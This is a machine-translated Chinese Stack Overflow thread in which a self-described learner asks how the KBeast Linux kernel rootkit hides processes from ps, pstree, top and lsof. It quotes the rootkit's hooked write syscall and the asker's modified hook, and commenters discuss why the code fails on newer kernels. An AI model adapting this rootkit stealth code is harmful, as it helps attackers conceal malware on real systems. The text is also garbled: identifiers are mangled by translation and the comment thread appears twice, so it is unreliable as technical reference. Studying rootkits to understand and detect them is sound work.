Linux kernel rootkit如何隐藏进程?

Linux kernel rootkit如何隐藏进程?,linux-kernel,operating-system,rootkit,Linux Kernel,Operating System,Rootkit,我试图学习rootkit是如何工作的(出于教育目的)。我有rootkit的源代码。要从ps | | pstree等命令隐藏进程,它具有以下功能: asmlinkage int h4x_write(unsigned int fd, const char __user *buf,size_t count){ int r; char *kbuf=(char*)kmalloc(256,GFP_KERNEL); copy_from_user(kbuf,buf,255); if (

我试图学习rootkit是如何工作的(出于教育目的)。我有rootkit的源代码。要从ps | | pstree等命令隐藏进程,它具有以下功能:

asmlinkage int h4x_write(unsigned int fd, const char __user *buf,size_t count){

   int r;
   char *kbuf=(char*)kmalloc(256,GFP_KERNEL);
   copy_from_user(kbuf,buf,255);
   if ((strstr(current->comm,"ps"))||(strstr(current->comm,"pstree"))||
    (strstr(current->comm,"top"))||(strstr(current->comm,"lsof"))){
        if(strstr(kbuf,_H4X0R_)||strstr(kbuf,KBEAST)){
               kfree(kbuf);
               return -ENOENT;
        }
   }
   r=(*o_write)(fd,buf,count);
   kfree(kbuf);
   return r;
}
此函数覆盖系统调用表[\uuuuu NR\u write]。我的理解是*buf,包含它试图隐藏的进程的名称。使用copy_from_user(),将buf复制到内核缓冲区kbuf中,然后在使用strstrstr()检测到
ps | | | pstree |…
命令时,它会查找要隐藏的进程(H4X0R)。如果找到匹配项,则释放内核缓冲区kbuf。我的理解正确吗

我检查buf的内容。它不包含任何内容,因此永远不起作用

为了让它工作,我做了一些变通(不确定这是否是正确的方法,正如我说的,我是初学者)。我做了以下操作,将进程名(我试图隐藏的进程)放入buf,然后使用copy\u from\u user()将其复制到内核空间。我有一个工作代码,看起来像原始的Kbeast代码

const char *p_name="kbeast";

asmlinkage long test_write(unsigned int fd, char const __user *buf, size_t count){

long r=1;

r = (*original_write)(fd, buf, count);
char *kbuf=(char const *)kmalloc(256,GFP_KERNEL);
//__copy_from_user(kbuf,buf,255);

if (strstr(current->comm,"ps")){
    struct task_struct *task;
        for_each_process(task){
        if (strstr(task->comm,p_name)){
                //printk("%s [%d]\n",task->comm , task->pid);
            buf=task->comm;
            __copy_from_user(kbuf,buf,255);
            break;
        }
    }       
    //printk(KERN_INFO "kBuf %s", kbuf);
    if(strstr(kbuf,p_name)){
            kfree(kbuf);
            return -ENOENT;
        }

}


return r;
}
在运行ps命令时,它显示以下内容:

 PID TTY          TIME CMD
 10115 pts/2    00:00:00 bash
 14560 pts/2    00:00:00 kbeast
 14561 pts/2    00:00:00 ps
 ps: write error
这里发生了什么


我在考虑另一种方法,比如在task\u-struct链接列表中包含所有进程名称,如果我能以某种方式从task\u-struct中取消目标进程的链接,应该可以做到这一点,但我不知道如何做到这一点。

您运行的是哪个内核版本?这是一个相当古老的漏洞(2011年),可能已经很久没有发挥作用了。我想我看到了2.16;我的机器上的uname-r显示:4.15.0-74-generic@mevets我的内核版本是5.3.0-45-generic。是的,它有点旧了,但我想对它稍加修改可能适用于当前版本。“我检查
buf
的内容。它不包含任何内容,因此永远不会工作。”-如何检查
buf
内容?注意,函数
h4x\u write
截取每个系统调用,通常
buf
只是一个字节数组(不是符号,不是字符)。因此,即使
buf
包含10个零字节的序列(
count
参数的值),这也不是“无”。您什么时候检查
buf
内容?注意,
h4x_write
仅在以
-enoint
@impleze结尾的分支中修改
write
的有效行为,我的意思是另一种方式;我觉得你的内核太新了;kbeast可能需要一个旧的。我找不到权威性的声明你还是不明白。。。执行
test\u write
函数,而不是每次
write
syscall。是的,原始
h4x_write
期望
ps
进程调用
write
方法,并使用请求进程的名称。但是通过在
test\u write
开始时检查
buf
,您很可能会从由其他进程(非
ps
或相关进程)执行的
write
系统调用中检查
buf
。或者由
ps
进程执行,但出于其他目的,当
buf
的含义不同时。您正在运行哪个内核版本?这是一个相当古老的漏洞(2011年),可能已经很久没有发挥作用了。我想我看到了2.16;我的机器上的uname-r显示:4.15.0-74-generic@mevets我的内核版本是5.3.0-45-generic。是的,它有点旧了,但我想对它稍加修改可能适用于当前版本。“我检查
buf
的内容。它不包含任何内容,因此永远不会工作。”-如何检查
buf
内容?注意,函数
h4x\u write
截取每个系统调用,通常
buf
只是一个字节数组(不是符号,不是字符)。因此,即使
buf
包含10个零字节的序列(
count
参数的值),这也不是“无”。您什么时候检查
buf
内容?注意,
h4x_write
仅在以
-enoint
@impleze结尾的分支中修改
write
的有效行为,我的意思是另一种方式;我觉得你的内核太新了;kbeast可能需要一个旧的。我找不到权威性的声明你还是不明白。。。执行
test\u write
函数,而不是每次
write
syscall。是的,原始
h4x_write
期望
ps
进程调用
write
方法,并使用请求进程的名称。但是通过在
test\u write
开始时检查
buf
,您很可能会从由其他进程(非
ps
或相关进程)执行的
write
系统调用中检查
buf
。或由
ps
过程执行,但出于其他目的,当
buf
的含义不同时。